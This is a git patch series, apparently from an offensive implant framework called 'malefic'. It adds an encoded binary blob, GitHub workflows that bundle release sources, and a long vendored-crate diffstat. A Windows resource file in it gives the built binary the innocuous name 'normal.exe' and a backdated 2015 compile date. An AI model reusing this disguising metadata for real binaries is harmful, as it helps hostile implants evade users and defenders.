z@o}hKD?~b!-3~pvA-@^fkQG6MWp$Mg)W&YjV~Qg!IK#$+XjX(GhkhMx6&S`FP|eI% zJB3;cMz#-Z;`E<&Pl83_2x}fsv1w*Kid@pZnNvk>5qr2a!~%`k!gxvX1_DN%Xo7X8 zgx=>?#csu;RhzWj%*nIJ$HuJIa=N_nb~Ch0mE}Z76t)}REGcm#{OL$qO|$0VLP@h` zxbxPJeJ{_N21$YPkB@Vf;3(SM-5~E}dh>_{PQD1-e|)j=&(k1tKDw`dy!-XHcldAR z@Pw=Ef$zc=hVlo7eAFAJ~sq;?H&S zi#>Yv>fMKi_Vue@ep_CDy5|`}NiP#c#je{I+<1gFAHI{QAq=H*Y^sj-8+zk#w$>yYIbq@pFnm#(*F7 z>0p5KVha$y?^qL~kz9K|dknEA*F2Cn>46bjaLfFekA&zHe-e8*sU3TQU3I5%)tl8&LP++(TyI9HIt4`X=!`bkQjfmKSuEJ-gwQ4UTnN|hZ zDCJkh3Z7z>LN;0#%J`0H{P6}ZAURKr;`-5oQDWDp{) zAAhBU=dq@fgqlnzksMX85ym`$XoGnp&r7gJ8Eejxc_r}!=4I{hY<0)Csuaun{w^Sy zrADYj+6>WH`(^_)mXqJy505ppCfHfA(c;a zcpIWTy(=BGiXLm3b?SMPXryBrVJGof^)cE_Md^4rkcRXf9B*>Vv|vLVRkp>9%_s+* z=Ogwz3cK?@6iG7^*}zpw7@ z7R3hV<$tEvn>AYTnKl(M&=7!KE{gIZjXtM1p_T^7zL7?$I8}1FTYftW{h_5NgQ%Vj z4K#m0wDncobD`;r7HMo|ETg7E2?x>^QD;Pt5Q!~F{j$bea{MZoqrPMQXo zMf4g2>vs(*@285X5gbzx>HN&0qa@6bpn{Jk47H+ySW-T$)@(u$AZ6sHe@no*T4;lX z?F++}v-J|)+1Jg`GWjz|HCjWFJ-t$-4Lrw>5PdS2jp!5+B=CG&-{s>92WnZ$6=XO^ zGLZ8f(km)0#zIKwe)aBOm*Lsx#pQX3qlv6bNqv!m@BG5O7|6hPo>+wS8;^zXK&_01 zJBdirm{^z$irGBE4S`lj>frzCeTXZTX8t^6+gt;`iNLRZ3&OCPXV@->S@df8xRT0B zrPLB!z12Z<3<7>*#?9oFpdwm2&eTnbA0Q*Ljn_I+a3OrowAIiiTjU_ zkBg`HZu4b%S2KCI$8d zLORGG_j#|x`<*A&vvgff*9VI(hn0SO$Nusz?g#%x^+R>$gd8W;m*4sgNhwmDG_jp! zP~MeWf>LB-YjEsw94J4n9DH<1;s9IU6(&T)N!i{(cJvtD<+5X4y)dJf+G?WRr=!2# z$4C`zV{U|LBohiL?59S8EH{WS&ewG%(86bDRh(QSqS#g?4KL#T1K1l7BZL@~Bq75g zmm>9xD#K@Z9Su8X54YUK)^Il}bBDx_pwyH^jDgcGTy~nUz@hsli^ot7Lc16P;73$w z*e=HrMw+j5vLw&EGUFS|8)qg25|(WH1<_sfB86I}S_^%SIS;n_vTOsj%*NP&>_`?Q zUak{_e&k`p5ATqrE|=L%7wFhBY=on8k4wqEG4|tU1z7 zCfqAu;R2=WM+|W=&{2JjB2m>#aDlkp=_oFW?@=UnL1r)~@gkv2aDU9az#2XuQd0Z~ zMBSTzKe3BD+2w9*Eh_v$U}_}NDhoGlm!9Uy+={W0tBkUdXo_e9>WA_st$>Zip6kYu zA3H|=gdK#ruzrXSDagzI$ZldMEMXzj07;Qo{Znc+frXuH1Pj>+sRs1-W=g`IIboTG zQ52%<`iac;Y$;ZUk^ml&S9m|NZ9d#Bf4X14vdbL$2gZ#=TJ@zkJ>ot8X&3DJ4Sb&;ai&ovEPx>wP1|!p6OqjVL+6s7L979NW1UA-$AEn}i;$vFjJ)ZJ z5!g4Gpf5I0*Wblkz21~6AE6=w4|StSokIE)!VEa?sXqxZuJ#O(J1M~;1jUv>w@a;T zsxnPsL)bQIp}EP;h^81R&w%m1JV}sa7xnWeu=G`1Hrn_NJg|@ zGG2rM%stpqIF^{1B;_o2eXL!`=n(LsC*Tz6`r&EE#vQ!~pqG+$yeKbyq?o8KFW3y5 zUEGLqVE52*todhjAu_~z>ES9E;6Jh`$~0J4Dv}sCGebQH z2#{>Sgk~z+g{GJ$)?kMNS(CUUw7A$i?Bjk-nmvU*&-fua#(ISqdBZS3@3j$;7lfkH zz(}oQ5;LP7?nb5T;!IdiXGh{YcXA&|)_q(EMXviE z$~HQ!;_^7$W3lM6LNbalb3cb?VQ_`bHzoc=rTwd;O{8oQ8{KhKGuZB=f=Mgm3L)$i zbc?`sY{CgUQ}Z$<*9b9lBhIpmiLEVmolca&4zxhc^s?q8x-nJ{(1P&IkLEZMR=3x1 zC|0g^2qux0qX+ObBe@~a6jmI#s0pwRXl{Vjb5jp#BC)-d@G;l0T-$z-V0*i;(AfT) z`apr9LtAd5SAk%e(t4jM*nZdjK3t3uFI#F1{qfW_*!S6#pu7U>q+U|QMd%f5?b&8L z%0Jxgig1a?@PD6_Yi+HBD#XawX14z;TgW-1D>Zg+$EOO2VMY%4R>NVx{H9Kx5hz#Lms z!XPe+0x9)aQf>-S0)8|+aa#k?mU^9-l~4u4)`$kaHU4$l7)*8Kij&qu0Q6lXEx@i% zt2o+#V$43mfM&ue29$>Ows?q&nB~cB%u0B;VrH|N)jLS4!NRyyB~Po8_jP8;goUwI z-F%{W+HKA@*l&n!ht+oV6%#gG>D<3Dc$iwPTypiUJWH{CUFd&kR|or$F{?wWZMo?@2i-> zx+f86uq5{S~B@YB!ij86=iex~N*#gs; zQRw0kR~*}ke6%yL{wq|Gv1 z50-jC7N+>JVYCEcH(bQFTRiNP+cUeT8Wc(81p{v1y)EP2JsrW*faF*n6h^-##XQA* zM=p|;HFYKcNl{nx)pFIT;JgC^5sHiKu~hk>6a$!3c~S7e8!Io&%6ZAR zZ)*q;{@D}TZ~97+UNPj-VNv#yC!=M#buO2{oSnm6A$>T{x`J$nAlTjBul~dr4fdOe z$M2p0nP!T=kDg)dYJ0bQcv#(>tsbB5`iT#F zo}p3dVMB=lwvm{fwJ{VQq{J9A?kj+@iiZ=~nKyUS(CfEQO$cG7XuDcV5ke_ijo6nOHnK0zq(=Atg z?#VYe$F}M3RL0BwLRFC&Iu_hGRiqcVrXD-_uiiEPVEfcAK4T>UhW?lsFxbH3ZImiKJ1Eq?VH(g<<_IAk;B zOj+pj&dc*fSzV-MaXu-b+z8RKSx1l`NmGNppG5)65s>B`gHjLY)Mn0r64aW9@s%}B z>GZP|4Up>iVkA4CkV9~Q|0r_{t*5Fo)uxlBP=@m`n?Ra4oH&lmh7*#EExBvGdYdL% zvXxv14S9(#*MG2kzV>LkR$00&t>pWvX0_|FB~mtKjT1+@il%8AWwwdhlF&)~5Gk|r zIZxE~nPpw$f4an|JZ);1yzLK0!ZVYevtPWFrzhn}-gxe|E@SF%UYy0HUxb`H=gAYh z{mNeb;52uj@$1uGU$3lptJOK@FoMHfT~QXzLg&?Mc1PQXUw-{<`Q`d%^|h@RGPQ=O zmjw|vB{ESS`@=KN@l2=J?4P_Mybe4W>VMfYu71XT@n^i6yOt|9Bh2Q>tf=Mz=Nd9X zp4^rH;V*O6UFz3ATdwo=7tig=h444lod4OYk8%TWer37z&fa!SLOgh*K6s5K*;lR; zx{g}H83tF|+uiDHwZ_GH*dx!AY&>En+ORj2H^QvNl4vWPq)4>9#ti4Dra=3=FIai3 z2~^5uL7Vl?#}|8K$id!MU7k{`h$TyP=_Hw?gaZ3(O%0u(uZXE!Q^iCmDN|#mE72A7 zg{#jsp(=qa4A4Z&ySp#T>p!$wN4-KtC{d;hCWs{A3K(xR1$2VG5~gxZ5fh=LObwE* zL|4!ku0GdtFsQj)6`#>e3-sx$g$*I-KUAEYtF9q9p6B0)cxApD0}rBCRA%U z{6<~3fws`ZA1PK1gWkNvqG=Z_hTrR>!{XxbJ3XAHyrLqu-@70Gsd$w4lLz&UTcysl z%9}h))R1BM48j@{JcFp(a?d6SS;9|ltH$%|=5n_FHtfO8J6&rT^;%;oQKwO_^xDdV zH`Jyw;nf-lH$2}5h*7Wgff)5l4~PkGs6g!XYU73o(H$mrs2Ihtrez@>3mMKoU%mS0 zD-W9)#s`pR6W!S6FRJsKzesN9CyfHFrHTGwl+hbH_lhh-~DbQQsVv3S&Lje|^()QiQVgorn~Ha1yU_iEETDYK8#g^I<$OlYgmB)GB5 zUs7Ld6h0Zsx{+-yY?K-k?0Py`swqz=X+jJ>27GNKe5N+hhQ+2)oDRuWln7OCN5R#+ z)XfXVz1KL%6j{9>JWdQ9h4*{6u>fWHaU4$(hfg87G0tC8V{0TnMRiptX{v2&YUA`c zQY=1Dm}<_G*Q>SQ$t79C@i^F~HOeO5wSrGr#a31qBp0t=ziA~Jy{mb#AC$+v+c?Wq znObljCr)j9`-#Npy5ZZ_L9Ai0fH2Mh zj7>|o^@#AFpfY=xh=s;xW`;m-WM;`pf78kdDl0sy^N*&|wq`a;jU$ET!(^$ZJaw&F>z!Iq z8xEhzP1>+{djDueHKFQV3#QShns>U9^qD{6wZ=UrNKzv32q9_u<2T4A&b5M1SHo5my|KQxKcL-bP4D0PeNPsR-|YE%?FOvu)?y z=IDOg9Eagl4t)rxzTHD`zn4`2_v0er*W$E?2QuN~-`BAl|E`AI)K@9ort)Y|t53Y_ z1K8MC6|Ba-)`w}@TN*->UjJqH^I?T7t+=|-VWDoZ_**1vI8@9Kv*%J_t1TD|K{|G&?l5iIf4m(M!#r&~Prx~Cxc zw)%bz*Zt?uBmZo4kTiSwDa`VM!w4Lhr%FIcPW$o{m%_ZD)5f#EuRpvvt!U^kIK1HS z63j6udkNd!*z@ljwqG=R@l<)1^x_XM{_x@t^_s%VSng#k_cE4y8O!z75np=9mmcz^ zhkWTFUzTjyXOEXz{>v<%e}8)!E5D4DU&hKW5%FcL-0TK;iHI)|@oyXvU)=M>J^#k; z`LfLNGP!zLW_ej=d0A$8S!U^PUEbhmnRUVr${lo6()n@w#ZuG;Q$<90BZ~9ZgiXd-g5M}>* zT5V0RkQu2ATF9P4 zX`y(^5Q$lf&QpYn`RX2*+;U&(T1?GeDN`{Zi+hq43T|5=w(ExUhmvi3#4W)3D?n9@ z7Fk8${`?}{dTeVfYwJV5+KMwWn5}m1%?5#2i8`YVPq@uJ4>4Il05k4493;3Zx%6^d6imRGpSQC#(n@u2et zqd_|fU;&Lmh|X*bp82`YKVUn*&B`KQi-uZyuvx(t#+$=7*iV|Sar`7u-l~Bq{ue6*+Z@&F^KvcF+d*UsKxeD@iL@g#v!Hw?YvBV zsGz97&{nrs)FRh=+F4BuEXhK=Dz{RSW(0{~BdXJMAXulUBO17N50#kKE9*zKUQrv@ z*wd%&7IC3R1e9bhwH_Ly>dhQYp0-idTibIE+G!2v}g$KGUt$7HP(6OJrL$UdRPV{KfD{R0EG?$5vl4l{I5H z=$mc6aRGIJ>Ye~nd3@0on4XIl1Tr<(MjviJvP8E%^{QMCrCheWQq;~^I^7$E*!V#4 z0PLKWH;7-Y8Pw8*xYkjMhB=*IvX zS5P!F)mPdg&5PO+aPK&6pVrryuq!SmwTcUxLT?=gLM=cV=-Sr8zK^}-Eg6R9|3H!4 z-aCS}4M=2oseD+io0!_vRemM_XkV6#`l!hzEo$r`>pB{Yntv;ZG>`lBZ=SZbZ5}ku zU)EQ2P$H-jI?Khn-g0SAckTyGFV4jC2OyCncKh7$SdcTU&(GJ(hsW=mU9?@T{@bCV zJXg_CiWQWU(iW|=)fz#jp8wQdEI(6Fl8gEX$t5j1;-SE&UbvGUDK(Hv`pQcMlHOv} zEBeZM4BVeJGy`MV3Nj(EuK(Fi5So8OjNCq&$MjP{+;M9iudOjxwRx=7x>u^!yjR%P z9-9e-$uQSlV(#(#^6m-iB?1hxQ1M2Rrtg^~N$aJov^TyKvk&F5f}>K}hf^tRQB|I| z(`fa%f~#8G2UacZAuHAEZ4*6|7v3uELM`sM4YjmwA4@5r9?+kA<(c?$~!dcxOu)?Zg$-w~BU{_6h)sDTj} literal 0 HcmV?d00001 diff --git a/resources/malefic.rc b/resources/malefic.rc new file mode 100644 index 0000000..525d8c8 --- /dev/null +++ b/resources/malefic.rc @@ -0,0 +1,30 @@ +#define VER_FILEVERSION 1,0,0,0 +#define VER_FILEVERSION_STR "1.0.0.0" +#define VER_PRODUCTVERSION 1,0,0,0 +#define VER_PRODUCTVERSION_STR "1.0.0.0" + +1 VERSIONINFO +FILEVERSION VER_FILEVERSION +PRODUCTVERSION VER_PRODUCTVERSION +FILEFLAGSMASK 0x3fL +FILEFLAGS 0x0L +FILEOS 0x40004L +FILETYPE 0x1L +FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904E4" + BEGIN + VALUE "Comments", "24 Jun 2015 18:03:01" + VALUE "CompileDate", "24 Jun 2015 18:03:01" + VALUE "OriginalFilename", "normal.exe" + VALUE "FileDescription", "normal" + VALUE "LegalCopyright", "Copyright 18:03:01" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1252 + END +END diff --git a/resources/spite.bin b/resources/spite.bin new file mode 100644 index 0000000..e69de29 From 6d906a4025d6c45f958525b4044418f0015dacd9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BD=95=E6=AD=A2?= <68958533+h3zh1@users.noreply.github.com> Date: Fri, 10 Apr 2026 02:21:21 +0800 Subject: [PATCH 2/4] Split release and full-source bundle workflows --- .github/workflows/bundle-full-source.yml | 165 +++++++++++++++++++++++ .github/workflows/release.yml | 19 ++- 2 files changed, 177 insertions(+), 7 deletions(-) create mode 100644 .github/workflows/bundle-full-source.yml diff --git a/.github/workflows/bundle-full-source.yml b/.github/workflows/bundle-full-source.yml new file mode 100644 index 0000000..69c5f2b --- /dev/null +++ b/.github/workflows/bundle-full-source.yml @@ -0,0 +1,165 @@ +name: bundle-full-source + +on: + workflow_dispatch: + inputs: + tag_name: + description: 'Release tag to bundle' + required: true + default: 'v0.0.1' + resource_asset_name: + description: 'Existing release asset name to merge into resources/' + required: true + default: 'resources.zip' + merge_strategy: + description: 'How to handle duplicate files under resources/' + required: true + type: choice + default: 'fail' + options: + - fail + - overwrite + bundle_asset_name: + description: 'Optional override for the uploaded bundle asset name' + required: false + default: '' + +permissions: + contents: write + +jobs: + bundle-full-source: + runs-on: ubuntu-22.04 + env: + TAG_NAME: ${{ inputs.tag_name }} + RESOURCE_ASSET_NAME: ${{ inputs.resource_asset_name }} + MERGE_STRATEGY: ${{ inputs.merge_strategy }} + steps: + - name: Checkout tagged source + uses: actions/checkout@v4 + with: + ref: ${{ inputs.tag_name }} + submodules: recursive + fetch-depth: 0 + + - name: Install Rust toolchain for cargo vendor + uses: dtolnay/rust-toolchain@nightly + + - name: Resolve bundle names + id: bundle_names + shell: bash + run: | + version="${TAG_NAME}" + root_dir="malefic-community-${version}-full-source" + bundle_name="${{ inputs.bundle_asset_name }}" + + if [[ -z "$bundle_name" ]]; then + bundle_name="${root_dir}.zip" + fi + + echo "ROOT_DIR=$root_dir" >> "$GITHUB_OUTPUT" + echo "BUNDLE_NAME=$bundle_name" >> "$GITHUB_OUTPUT" + + - name: Download resource archive from release + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + shell: bash + run: | + mkdir -p .release-assets + gh release download "$TAG_NAME" \ + --repo "${GITHUB_REPOSITORY}" \ + --pattern "$RESOURCE_ASSET_NAME" \ + --dir .release-assets \ + --clobber + + test -f ".release-assets/$RESOURCE_ASSET_NAME" + + - name: Merge resource archive into resources/ + shell: bash + run: | + mkdir -p resources .bundle-work/resources-unpacked + unzip -q ".release-assets/$RESOURCE_ASSET_NAME" -d .bundle-work/resources-unpacked + + shopt -s dotglob nullglob + extracted=(.bundle-work/resources-unpacked/*) + merge_root=".bundle-work/resources-unpacked" + + if [[ ${#extracted[@]} -eq 1 && -d "${extracted[0]}" && "$(basename "${extracted[0]}")" == "resources" ]]; then + merge_root="${extracted[0]}" + fi + + if [[ "$MERGE_STRATEGY" == "fail" ]]; then + conflicts=() + + while IFS= read -r -d '' file; do + rel_path="${file#${merge_root}/}" + if [[ -e "resources/${rel_path}" ]]; then + conflicts+=("${rel_path}") + fi + done < <(find "$merge_root" -type f -print0) + + if [[ ${#conflicts[@]} -gt 0 ]]; then + echo "::error::Detected conflicting resource files:" + printf ' - %s\n' "${conflicts[@]:0:20}" + if [[ ${#conflicts[@]} -gt 20 ]]; then + echo " - ... and $(( ${#conflicts[@]} - 20 )) more" + fi + exit 1 + fi + fi + + rsync -a "${merge_root}/" resources/ + + - name: Vendor Rust dependencies + shell: bash + run: | + mkdir -p .bundle-work .cargo + + cargo vendor --locked --versioned-dirs vendor \ + --sync examples/ffi/rust/Cargo.toml \ + --sync examples/starship/Cargo.toml \ + --sync lib/rage/Cargo.toml \ + --sync malefic-3rd-template/Cargo.toml \ + --sync malefic-proxydll/Cargo.toml \ + --sync malefic-starship/Cargo.toml \ + > .bundle-work/cargo-vendor-config.toml + + if [[ -f .cargo/config.toml ]]; then + cp .cargo/config.toml .bundle-work/base-config.toml + printf '\n' >> .bundle-work/base-config.toml + cat .bundle-work/base-config.toml .bundle-work/cargo-vendor-config.toml > .cargo/config.toml + else + cp .bundle-work/cargo-vendor-config.toml .cargo/config.toml + fi + + - name: Build complete source archive + shell: bash + run: | + root_dir="${{ steps.bundle_names.outputs.ROOT_DIR }}" + bundle_name="${{ steps.bundle_names.outputs.BUNDLE_NAME }}" + stage_dir="dist/${root_dir}" + + mkdir -p "$stage_dir" + rsync -a ./ "$stage_dir"/ \ + --exclude '.git' \ + --exclude '.bundle-work' \ + --exclude '.release-assets' \ + --exclude 'dist' \ + --exclude 'target' \ + --exclude '.DS_Store' + + ( + cd dist + zip -qry -y "$bundle_name" "$root_dir" + ) + + - name: Upload complete source archive + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + shell: bash + run: | + bundle_name="${{ steps.bundle_names.outputs.BUNDLE_NAME }}" + gh release upload "$TAG_NAME" \ + "dist/${bundle_name}" \ + --repo "${GITHUB_REPOSITORY}" \ + --clobber diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 0d0f50a..bc57d74 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -22,22 +22,27 @@ jobs: create-release: runs-on: ubuntu-22.04 outputs: - VERSION: ${{ steps.set_version.outputs.VERSION }} + VERSION: ${{ steps.release_context.outputs.VERSION }} + DRAFT: ${{ steps.release_context.outputs.DRAFT }} steps: - name: Checkout code uses: actions/checkout@v4 with: submodules: recursive - - name: Set Version - id: set_version + - name: Set release context + id: release_context run: | if [ "${{ github.event_name }}" == "push" ]; then VERSION=${GITHUB_REF#refs/tags/} + DRAFT=true else VERSION=${{ inputs.tag_name }} + DRAFT=${{ inputs.draft }} fi + echo "VERSION=$VERSION" >> $GITHUB_OUTPUT + echo "DRAFT=$DRAFT" >> $GITHUB_OUTPUT - name: Create release id: create_release @@ -45,11 +50,11 @@ jobs: env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: - tag_name: ${{ steps.set_version.outputs.VERSION }} - release_name: Release ${{ steps.set_version.outputs.VERSION }} + tag_name: ${{ steps.release_context.outputs.VERSION }} + release_name: Release ${{ steps.release_context.outputs.VERSION }} body: | - Release ${{ steps.set_version.outputs.VERSION }} - draft: true + Release ${{ steps.release_context.outputs.VERSION }} + draft: ${{ steps.release_context.outputs.DRAFT == 'true' }} prerelease: false release-mutant: From 913046cc89e76f03b02ddd8761042cc214d5a0a8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E4=BD=95=E6=AD=A2?= <68958533+h3zh1@users.noreply.github.com> Date: Fri, 10 Apr 2026 02:42:34 +0800 Subject: [PATCH 3/4] Sync tree with v0.3.0-dev after history merge --- .cargo/config.toml | 23 +- .github/workflows/bundle-full-source.yml | 165 + .github/workflows/check.yaml | 123 + .github/workflows/generate.yaml | 16 +- .github/workflows/release.yml | 56 +- .github/workflows/runtime-integration.yaml | 97 + .github/workflows/test.yaml | 12 +- .github/workflows/test_local.yaml | 11 +- .gitignore | 25 +- .gitmodules | 2 +- Cargo.lock | 2127 +- Cargo.toml | 113 +- LICENSE | 201 - README.md | 19 - examples/ffi/README.md | 119 +- examples/starship/Cargo.toml | 14 + examples/starship/README.md | 67 + examples/starship/starship_example.rs | 73 + implant.yaml | 32 +- lib/libudis86-sys/Cargo.toml | 18 + lib/libudis86-sys/README.md | 4 + lib/libudis86-sys/build.rs | 14 + lib/libudis86-sys/libudis86/decode.c | 1266 + lib/libudis86-sys/libudis86/decode.h | 197 + lib/libudis86-sys/libudis86/extern.h | 113 + lib/libudis86-sys/libudis86/itab.c | 5946 +++ lib/libudis86-sys/libudis86/itab.h | 939 + lib/libudis86-sys/libudis86/syn-att.c | 228 + lib/libudis86-sys/libudis86/syn-intel.c | 224 + lib/libudis86-sys/libudis86/syn.c | 212 + lib/libudis86-sys/libudis86/syn.h | 53 + lib/libudis86-sys/libudis86/types.h | 260 + lib/libudis86-sys/libudis86/udint.h | 99 + lib/libudis86-sys/libudis86/udis86.c | 458 + lib/libudis86-sys/src/api.rs | 154 + lib/libudis86-sys/src/itab.rs | 939 + lib/libudis86-sys/src/lib.rs | 52 + lib/libudis86-sys/src/types.rs | 275 + .../async-channel/.github/dependabot.yml | 9 + .../async-channel/.github/workflows/ci.yml | 90 + .../.github/workflows/release.yml | 22 + lib/malio/async-channel/.gitignore | 3 + lib/malio/async-channel/CHANGELOG.md | 107 + lib/malio/async-channel/Cargo.toml | 36 + lib/malio/async-channel/LICENSE-APACHE | 201 + lib/malio/async-channel/LICENSE-MIT | 23 + lib/malio/async-channel/README.md | 51 + lib/malio/async-channel/src/lib.rs | 1388 + lib/malio/async-channel/tests/bounded.rs | 552 + lib/malio/async-channel/tests/unbounded.rs | 356 + .../async-executor/.github/dependabot.yml | 9 + .../async-executor/.github/workflows/ci.yml | 91 + .../.github/workflows/release.yml | 22 + lib/malio/async-executor/.gitignore | 2 + lib/malio/async-executor/CHANGELOG.md | 134 + lib/malio/async-executor/Cargo.toml | 48 + lib/malio/async-executor/LICENSE-APACHE | 201 + lib/malio/async-executor/LICENSE-MIT | 23 + lib/malio/async-executor/README.md | 52 + lib/malio/async-executor/benches/executor.rs | 498 + lib/malio/async-executor/examples/limit.rs | 95 + lib/malio/async-executor/examples/priority.rs | 84 + lib/malio/async-executor/src/lib.rs | 1233 + .../async-executor/src/static_executors.rs | 494 + .../tests/different_executors.rs | 34 + lib/malio/async-executor/tests/drop.rs | 147 + .../async-executor/tests/larger_tasks.rs | 99 + lib/malio/async-executor/tests/local_queue.rs | 24 + lib/malio/async-executor/tests/panic_prop.rs | 14 + lib/malio/async-executor/tests/spawn_many.rs | 45 + lib/malio/async-fs/.github/dependabot.yml | 9 + lib/malio/async-fs/.github/workflows/ci.yml | 75 + .../async-fs/.github/workflows/release.yml | 22 + lib/malio/async-fs/.gitignore | 2 + lib/malio/async-fs/CHANGELOG.md | 78 + lib/malio/async-fs/Cargo.toml | 31 + lib/malio/async-fs/LICENSE-APACHE | 201 + lib/malio/async-fs/LICENSE-MIT | 23 + lib/malio/async-fs/README.md | 48 + lib/malio/async-fs/src/lib.rs | 1855 + lib/malio/async-io/.cirrus.yml | 61 + lib/malio/async-io/.github/dependabot.yml | 9 + lib/malio/async-io/.github/workflows/ci.yml | 166 + .../async-io/.github/workflows/release.yml | 22 + lib/malio/async-io/.gitignore | 2 + lib/malio/async-io/CHANGELOG.md | 291 + lib/malio/async-io/Cargo.toml | 62 + lib/malio/async-io/LICENSE-APACHE | 201 + lib/malio/async-io/LICENSE-MIT | 23 + lib/malio/async-io/README.md | 78 + lib/malio/async-io/benches/io.rs | 171 + lib/malio/async-io/benches/timer.rs | 42 + lib/malio/async-io/build.rs | 16 + lib/malio/async-io/examples/kqueue-process.rs | 48 + lib/malio/async-io/examples/linux-inotify.rs | 64 + lib/malio/async-io/examples/linux-timerfd.rs | 55 + lib/malio/async-io/examples/unix-signal.rs | 33 + .../async-io/examples/windows-command.rs | 34 + lib/malio/async-io/examples/windows-uds.rs | 127 + lib/malio/async-io/src/driver.rs | 303 + lib/malio/async-io/src/lib.rs | 2241 + lib/malio/async-io/src/os.rs | 16 + lib/malio/async-io/src/os/kqueue.rs | 278 + lib/malio/async-io/src/os/unix.rs | 65 + lib/malio/async-io/src/os/windows.rs | 191 + lib/malio/async-io/src/reactor.rs | 680 + lib/malio/async-io/src/reactor/kqueue.rs | 108 + lib/malio/async-io/src/reactor/unix.rs | 59 + lib/malio/async-io/src/reactor/windows.rs | 103 + lib/malio/async-io/tests/async.rs | 440 + lib/malio/async-io/tests/block_on.rs | 178 + lib/malio/async-io/tests/issue_182.rs | 24 + lib/malio/async-io/tests/timer.rs | 99 + lib/malio/async-net/.github/dependabot.yml | 9 + lib/malio/async-net/.github/workflows/ci.yml | 78 + .../async-net/.github/workflows/release.yml | 22 + lib/malio/async-net/.gitignore | 2 + lib/malio/async-net/CHANGELOG.md | 88 + lib/malio/async-net/Cargo.toml | 22 + lib/malio/async-net/LICENSE-APACHE | 201 + lib/malio/async-net/LICENSE-MIT | 23 + lib/malio/async-net/README.md | 55 + lib/malio/async-net/src/addr.rs | 212 + lib/malio/async-net/src/lib.rs | 71 + lib/malio/async-net/src/tcp.rs | 765 + lib/malio/async-net/src/udp.rs | 662 + lib/malio/async-net/src/unix.rs | 776 + .../async-process/.github/dependabot.yml | 9 + .../async-process/.github/workflows/ci.yml | 122 + .../.github/workflows/release.yml | 22 + lib/malio/async-process/.gitignore | 2 + lib/malio/async-process/CHANGELOG.md | 129 + lib/malio/async-process/Cargo.toml | 48 + lib/malio/async-process/LICENSE-APACHE | 201 + lib/malio/async-process/LICENSE-MIT | 23 + lib/malio/async-process/README.md | 71 + lib/malio/async-process/examples/timeout.rs | 80 + lib/malio/async-process/src/lib.rs | 1311 + lib/malio/async-process/src/reaper/mod.rs | 231 + lib/malio/async-process/src/reaper/signal.rs | 169 + lib/malio/async-process/src/reaper/wait.rs | 227 + lib/malio/async-process/src/unix.rs | 102 + lib/malio/async-process/src/windows.rs | 45 + lib/malio/async-process/tests/sleep.rs | 26 + lib/malio/async-process/tests/std.rs | 481 + lib/malio/async-task/.github/dependabot.yml | 9 + lib/malio/async-task/.github/workflows/ci.yml | 99 + .../async-task/.github/workflows/release.yml | 22 + lib/malio/async-task/.gitignore | 3 + lib/malio/async-task/CHANGELOG.md | 112 + lib/malio/async-task/Cargo.toml | 37 + lib/malio/async-task/LICENSE-APACHE | 201 + lib/malio/async-task/LICENSE-MIT | 23 + lib/malio/async-task/README.md | 69 + lib/malio/async-task/benches/spawn.rs | 22 + lib/malio/async-task/examples/spawn-local.rs | 73 + .../async-task/examples/spawn-on-thread.rs | 53 + lib/malio/async-task/examples/spawn.rs | 48 + .../async-task/examples/with-metadata.rs | 143 + lib/malio/async-task/src/header.rs | 238 + lib/malio/async-task/src/lib.rs | 121 + lib/malio/async-task/src/raw.rs | 746 + lib/malio/async-task/src/runnable.rs | 956 + lib/malio/async-task/src/state.rs | 69 + lib/malio/async-task/src/task.rs | 566 + lib/malio/async-task/src/utils.rs | 127 + lib/malio/async-task/tests/basic.rs | 325 + lib/malio/async-task/tests/cancel.rs | 183 + lib/malio/async-task/tests/join.rs | 386 + lib/malio/async-task/tests/metadata.rs | 58 + lib/malio/async-task/tests/panic.rs | 234 + lib/malio/async-task/tests/ready.rs | 225 + lib/malio/async-task/tests/waker_panic.rs | 330 + lib/malio/async-task/tests/waker_pending.rs | 365 + lib/malio/async-task/tests/waker_ready.rs | 279 + lib/malio/blocking/.github/dependabot.yml | 9 + lib/malio/blocking/.github/workflows/ci.yml | 90 + .../blocking/.github/workflows/release.yml | 22 + lib/malio/blocking/.gitignore | 2 + lib/malio/blocking/CHANGELOG.md | 142 + lib/malio/blocking/Cargo.toml | 26 + lib/malio/blocking/LICENSE-APACHE | 201 + lib/malio/blocking/LICENSE-MIT | 23 + lib/malio/blocking/README.md | 93 + lib/malio/blocking/examples/ls.rs | 26 + lib/malio/blocking/src/lib.rs | 1062 + lib/malio/blocking/tests/unblock.rs | 140 + lib/malio/parking/.github/dependabot.yml | 9 + lib/malio/parking/.github/workflows/ci.yml | 80 + .../parking/.github/workflows/release.yml | 22 + lib/malio/parking/.gitignore | 2 + lib/malio/parking/CHANGELOG.md | 47 + lib/malio/parking/Cargo.toml | 33 + lib/malio/parking/LICENSE-APACHE | 201 + lib/malio/parking/LICENSE-MIT | 23 + lib/malio/parking/LICENSE-THIRD-PARTY | 9 + lib/malio/parking/README.md | 67 + lib/malio/parking/src/lib.rs | 449 + lib/malio/parking/tests/loom.rs | 28 + lib/malio/parking/tests/parking.rs | 145 + lib/malio/polling/.cirrus.yml | 61 + lib/malio/polling/.github/dependabot.yml | 9 + lib/malio/polling/.github/workflows/ci.yml | 175 + .../polling/.github/workflows/release.yml | 22 + lib/malio/polling/.gitignore | 2 + lib/malio/polling/CHANGELOG.md | 236 + lib/malio/polling/Cargo.toml | 67 + lib/malio/polling/Cross.toml | 3 + lib/malio/polling/LICENSE-APACHE | 201 + lib/malio/polling/LICENSE-MIT | 23 + lib/malio/polling/README.md | 77 + lib/malio/polling/examples/tcp_client.rs | 36 + lib/malio/polling/examples/two-listeners.rs | 43 + lib/malio/polling/examples/wait-signal.rs | 67 + lib/malio/polling/src/epoll.rs | 514 + lib/malio/polling/src/iocp/afd.rs | 733 + lib/malio/polling/src/iocp/mod.rs | 1412 + lib/malio/polling/src/iocp/port.rs | 396 + lib/malio/polling/src/kqueue.rs | 596 + lib/malio/polling/src/lib.rs | 1131 + lib/malio/polling/src/os.rs | 24 + lib/malio/polling/src/os/iocp.rs | 253 + 